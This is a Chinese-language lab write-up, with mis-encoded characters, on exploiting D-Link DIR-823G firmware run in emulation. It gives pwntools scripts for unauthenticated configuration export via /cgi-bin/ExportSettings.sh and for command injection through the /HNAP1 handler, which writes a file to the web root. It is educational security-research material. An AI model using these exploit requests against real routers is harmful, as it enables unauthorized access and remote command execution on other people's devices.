物聯(lián)網(wǎng)安全
IoT漏洞利用實(shí)操1(邏輯漏洞)
實(shí)驗(yàn)?zāi)康?/h3>
學(xué)會(huì)使用fat模擬IoT設(shè)備固件
學(xué)會(huì)使用IDA分析設(shè)備固件內(nèi)服務(wù)程序的邏輯漏洞
學(xué)會(huì)使用pwntools與IoT設(shè)備服務(wù)交互并觸發(fā)漏洞
實(shí)驗(yàn)環(huán)境
操作機(jī):Ubuntu 20.04【用戶名:user 密碼:user】
實(shí)驗(yàn)工具
qemu
fat
binwalk
pwntools
IDA pro
實(shí)驗(yàn)原理
IoT 設(shè)備中可能存在各種漏洞,總結(jié)來(lái)說(shuō),這些漏洞可以被大體劃分為兩大類(lèi),一類(lèi)是內(nèi)存破壞型漏洞,另一類(lèi)則是邏輯漏洞。而在邏輯漏洞中,又以未授權(quán)訪問(wèn)漏洞和命令注入漏洞最為常見(jiàn)。
未授權(quán)訪問(wèn)漏洞可以理解為需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁(yè)面存在缺陷導(dǎo)致非管理員的任意用戶可以直接訪問(wèn),從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫(kù)或設(shè)備內(nèi)存等敏感信息泄露。
命令注入漏洞是指由于設(shè)備內(nèi)服務(wù)程序?qū)τ脩籼峤坏臄?shù)據(jù)過(guò)濾不嚴(yán)格,導(dǎo)致惡意用戶可以通過(guò)構(gòu)造特殊命令字符串的方式,將數(shù)據(jù)提交至應(yīng)用程序中,并利用該方式執(zhí)行外部程序或系統(tǒng)命令實(shí)施攻擊,非法獲取數(shù)據(jù)或者設(shè)備信息等。
實(shí)驗(yàn)內(nèi)容
使用fat模擬IoT設(shè)備固件
進(jìn)行IoT設(shè)備未授權(quán)訪問(wèn)漏洞的利用
進(jìn)行IoT設(shè)備命令注入漏洞的利用
實(shí)驗(yàn)步驟
使用fat模擬IoT設(shè)備固件
本節(jié)實(shí)操課用來(lái)測(cè)試的設(shè)備是 Dlink DIR-823G ,首先利用 fat 工具將該設(shè)備的固件快速模擬運(yùn)行起來(lái)。依次輸入如下命令,進(jìn)入該工具的目錄,并利用該工具模擬固件文件 DIR823GA1_FW102B03.bin。
$ cd ~/firmware-analysis-toolkit
$ ./fat.py ~/Desktop/experiment2/DIR823GA1_FW102B03.bin
fat 工具會(huì)自動(dòng)解壓固件并修改內(nèi)核,然后再重新打包,最后利用 QEMU 對(duì)重新打包的固件模擬運(yùn)行,但是需要等待一段時(shí)間,由該工具自動(dòng)配置適合該路由設(shè)備的網(wǎng)卡和IP地址。
當(dāng)顯示如下圖所示的信息,則說(shuō)明已經(jīng)可以正常模擬運(yùn)行固件。
按下回車(chē)鍵就會(huì)進(jìn)入 QEMU 模擬的終端,模擬的 Dlink DIR-823G 設(shè)備的地址為192.168.0.1。可以發(fā)現(xiàn)終端一直在不停的輸出信息,但是其實(shí)并不影響命令的輸入。
可以在瀏覽器中訪問(wèn)該模擬設(shè)備的管理頁(yè)面進(jìn)行驗(yàn)證,顯示如下圖所示,表示模擬的路由器服務(wù)正常。
進(jìn)行IoT設(shè)備未授權(quán)訪問(wèn)漏洞的利用
路由設(shè)備 Dlink DIR-823G 通過(guò) web 管理界面和用戶進(jìn)行交互,實(shí)際功能調(diào)用 cgi 實(shí)現(xiàn),但是其 web 服務(wù)程序 goahead 沒(méi)有相應(yīng) cgi 文件的權(quán)限校驗(yàn),使得非授權(quán)用戶也可以直接訪問(wèn)相應(yīng)功能的 cgi,對(duì)設(shè)備造成嚴(yán)重影響。
該設(shè)備存在如下未授權(quán)可以直接訪問(wèn)調(diào)用的 cgi:
/cgi-bin/ExportSettings.sh 導(dǎo)出配置文件(信息泄露)
/cgi-bin/upload_settings.cgi 導(dǎo)入配置文件(惡意篡改配置)
/cgi-bin/upload_firmware.cgi 上傳更新固件(惡意修改固件)
以未授權(quán)訪問(wèn) /cgi-bin/ExportSettings.sh 導(dǎo)出配置文件為例??梢韵仍谀M的路由器的管理頁(yè)面設(shè)置一個(gè)管理員用戶。
退出該用戶帳號(hào)后,以匿名身份直接通過(guò)瀏覽器訪問(wèn) /cgi-bin/ExportSettings.sh,發(fā)現(xiàn)可以正常導(dǎo)出配置文件。
或者可以直接利用如下 pwntools 腳本偽造一個(gè)訪問(wèn)路由設(shè)備 /cgi-bin/ExportSettings.sh 的 HTTP 請(qǐng)求,可以同樣獲取該設(shè)備的配置文件。
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''GET /cgi-bin/ExportSettings.sh HTTP/1.1\r
Host: 192.168.0.1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Accept: */*\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'''
io.send(content)
io.recv(1000)
io.recv(1000)
io.close()
進(jìn)行IoT設(shè)備命令注入漏洞的利用
路由設(shè)備 Dlink DIR-823G 的 web 服務(wù)程序 goahead 還存在命令注入漏洞,先通過(guò)命令 binwalk -Me ./DIR823GA1_FW102B03.bin 將其固件解包。
進(jìn)入到解包后的固件根目錄 squashfs-root/bin/ 中,找到其web 服務(wù)程序 goahead ,通過(guò) file 命令可以查看其架構(gòu)為 MIPS。
之后利用命令 wine ~/IDAPro7.5/ida.exe 打開(kāi) IDA,并通過(guò) IDA 加載將要分析的固件內(nèi)程序 goahead
并按 G鍵打開(kāi)地址跳轉(zhuǎn)窗口,輸入 0x42383C,跳轉(zhuǎn)到漏洞函數(shù) sub_42383C。
之后按F5鍵查看函數(shù) sub_42383C的反編譯代碼,不難看出存在命令注入漏洞。
在函數(shù)名上按X鍵,通過(guò)交叉引用,逆向分析出該漏洞函數(shù)的觸發(fā)流為:
main -> sub_423F90 -> sub_42383C
通過(guò)sub_423F90函數(shù),可以分析出sub_42383C函數(shù)是訪問(wèn) /HNAP1 這個(gè) url 時(shí)對(duì)應(yīng)的處理函數(shù)。
16
在觸發(fā)該命令注入漏洞前,模擬該路由設(shè)備固件的終端內(nèi) web_mtn 目錄下,沒(méi)有 hack.txt 文件。
17
同時(shí),瀏覽器也無(wú)法訪問(wèn)該 hack.txt 文件。
可以通過(guò)如下的 pwntools 腳本生成能夠觸發(fā)該命令注入漏洞的請(qǐng)求,該惡意請(qǐng)求執(zhí)行的命令為echo hacked_by_01dwang!!! > /web_mtn/hack.txt,即向設(shè)備的web頁(yè)面根目錄 web_mtn 目錄內(nèi)寫(xiě)入 hack.txt 文件。
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''POST /HNAP1/ HTTP/1.1\r
Host: 192.168.0.1\r
Content-Length: 54\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Content-Type: text/xml; charset=UTF-8\r
Accept: */*\r
SOAPAction: "http://purenetworks.com/HNAP1/Login"\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'`echo hacked_by_01dwang!!!!!!!! > /web_mtn/hack.txt`'
'''
io.send(content)
io.recv(1000)
io.close()
在通過(guò)腳本生成的惡意請(qǐng)求觸發(fā)該命令注入漏洞后,路由設(shè)備的終端內(nèi) web_mtn 目錄下,生成了 hack.txt 文件。
同時(shí),瀏覽器也可以訪問(wèn)該 hack.txt 文件。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-835947.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-835947.html
到了這里,關(guān)于某60物聯(lián)網(wǎng)安全之IoT漏洞利用實(shí)操1學(xué)習(xí)記錄的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!